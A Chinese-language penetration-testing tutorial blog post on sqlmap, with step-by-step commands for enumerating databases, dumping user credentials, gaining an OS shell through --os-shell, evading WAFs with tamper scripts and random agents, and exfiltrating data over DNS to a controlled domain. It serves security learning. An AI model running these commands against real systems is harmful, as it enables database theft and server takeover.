滲透測試學習6 sql工具注入

2021-10-20 21:41:18 字數 3882 閱讀 5468

用最基礎的get型注入開始

1、當我們發現注入點的時候,

python sqlmap.py -u ""

2、檢視所有的資料庫

python sqlmap.py -u "" --dbs

3、檢視當前使用的資料庫

python sqlmap.py -u "" --current-db

4、發現使用的是security資料庫,接下來對此資料庫進行查詢

python sqlmap.py -u "" --tables -d "security"

5、查出所有表以後,對users表的列名進行查詢

python sqlmap.py -u "" --columns -t "users" -d "security"

6、users表中的列名已經知道了,可以直接查出所有資料

python sqlmap.py -u "" --dump -c "id,username,password" -t "users" -d "security"

在「使用者」->「.sqlmap」->「output」可看到查詢結果

7、檢視當前使用者:

python2 sqlmap.py -u "" --dbms=mysql --current-user

8、確認當前使用者是否dba(資料庫管理員)許可權:

python2 sqlmap.py -u "" --dbms=mysql --is-dba

9、確認是dba後,開始執行木馬寫入:

python sqlmap.py -u "" --dbms=mysql --os-shell

接下來會選擇指令碼語言以及寫入的路徑,選擇好後就可以直接獲得系統許可權。

-r:sqlmap可以從乙個文字檔案中獲取http請求,這樣就可以跳過設定一些其他引數(比如cookie,post資料,等等)。

比如get.txt文字檔案內如下:

再sqlmap中輸入:sqlmap -r c:\get.tet

-m:檔案中儲存url格式如下,sqlmap會乙個乙個檢測

–cookie:這個引數在以下兩個方面很有用:

1、web應用需要登陸的時候。

2、你想要在這些頭引數中測試sql注入時。

可以通過抓包把cookie獲取到,複製出來,然後加到–cookie引數裡。

例子:sqlmap -u "url" --cookie "cookie"

–random-agent:預設情況下sqlmap的http請求頭中user-agent值是:

sqlmap/1.0-dev-******x (

可以使用–random-agnet引數來隨機的從./txt/user-agents.txt中獲取。

–proxy:可以設定**,以便防止被ban。

使用–proxy**是格式為:http://url:port。

–delay:可以設定兩個http(s)請求間的延遲,設定為0.5的時候是半秒,預設是沒有延遲的。

–tamper:可以使用–tamper引數對資料做修改來繞過waf等裝置。

–technique:這個引數可以指定sqlmap使用的探測技術,預設情況下會測試所有的方式。支援的探測方式如下:

b: boolean-based blind sql injection(布林型注入)

e: error-based sql injection(報錯型注入)

u: union query sql injection(可聯合查詢注入)

s: stacked queries sql injection(可多語句查詢注入)

t: time-based blind sql injection(基於時間延遲注入)

例子:sqlmap -u "url" --technique=tb支援基於時間延遲注入和布林型注入

–is-dba:判斷當前的使用者是否為管理,是的話會返回true。

–os-shell:可以模擬乙個真實的shell,可以輸入你想執行的命令。

1.提高測試等級

–risk:risk 執行測試的風險(0-3,預設為1)。預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加or語句的sql注入測試。

2.增加被測試的引數

‐‐level:共有五個等級,預設為1。

–level的引數設定為2或者2以上的時候,sqlmap會嘗試注入cookie引數。

–level引數設定為3或者3以上的時候,會嘗試對user-angent進行注入。

–level引數設定為3或者3以上的時候會嘗試對referer注入。

總之在你不確定哪個payload或者引數為注入點的時候,為了保證全面性,建議使用高的level值。

3.找到整正的請求頁面

通常情況下我們直接在瀏覽器看到的url上⾯的引數就是被帶⼊資料庫查詢的引數,但是事實上並不是全部的東西 都如我們眼睛看到的樣⼦。

4.指定測試位置

⽤*引數來指定測試語句的位置,這個通常⽤在注⼊偽靜態頁面。也可以用在正常注⼊點,在手工確認某個位 置可註⼊的使用,使⽤該引數可提⾼注⼊效率。

–dns-domain引數:如果你控制了一台dns伺服器,使用這個可以提高效率。例: --dns-domain 123.com

使用方法:sqlmap使用–dns-domain引數時候會監聽53埠(dns埠),我們需要把我們獲得資料所使用的網域名稱的dns伺服器配置到我們執行sqlmap的主機,就可以獲得dns外帶的資料。

因為配置dns伺服器的時候也需要dns,所以我們需要兩個網域名稱,詳細配置如下:配置我們的用於解析dns的nameserver的網域名稱ns1.***.com,ns2.***.com指向我們執行sqlmap的主機ip。

例子:sqlmap.py -u '' --random-agent --dns-domain='rainism.cc' -v 3

「偽靜態」顧名思義就是一種表面上看似是靜態網頁(以.html、.htm等結尾),不存在任何的資料互動,卻其實是動態網頁,存在資料互動的**,具有這種特性的網頁被稱為「偽靜態網頁」。

類似的url格式,大概是偽靜態,即偽裝成靜態⽹頁的動態鏈結。這種情況我們是可以測試注⼊的。

注入方式:

與正常的測試⽅法沒啥不同,唯⼀的就是指定測試payload的位置。 ⽐如本例中payload位置是放 在,那麼我們 就告訴sqlmap在哪注入就可以了,通過在放置payload位置加上 * 就可以了,即:

sqlmap -u

1、當我們發現注入點的時候,

python sqlmap.py -u ""

2、確認當前使用者是否dba(資料庫管理員)許可權:

python2 sqlmap.py -u "" --dbms=mysql --is-dba

3、確認是dba後,開始執行木馬寫入:

python sqlmap.py -u "" --dbms=mysql --os-shell

接下來會選擇指令碼語言以及寫入的路徑,選擇好後就可以直接獲得系統許可權。

注:能爆破出路徑sqlmap會自動填入路徑,沒爆出sqlmap也支援暴力破解或者手工輸入。

PostgreSQL學習 6 SQL函式

參考 postgresql 9.6.0 手冊 無引數,返回void create function delete order returns void as 記得加括號 delete from customer order where product price 21 language sql 注意...

滲透測試基礎之sql注入

1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...

滲透測試和CTF中SQL注入

本文內容主要基於mysql的注入 首先,sql注入的成因 開發人員在開發過程中,直接將url中的引數,http body中的post引數或其它外來的使用者輸入 如cookies user agent等 與sql語句進行拼接,造成待執行的sql語句可控,從而使我們可以執行任意sql語句 1 可回顯的注...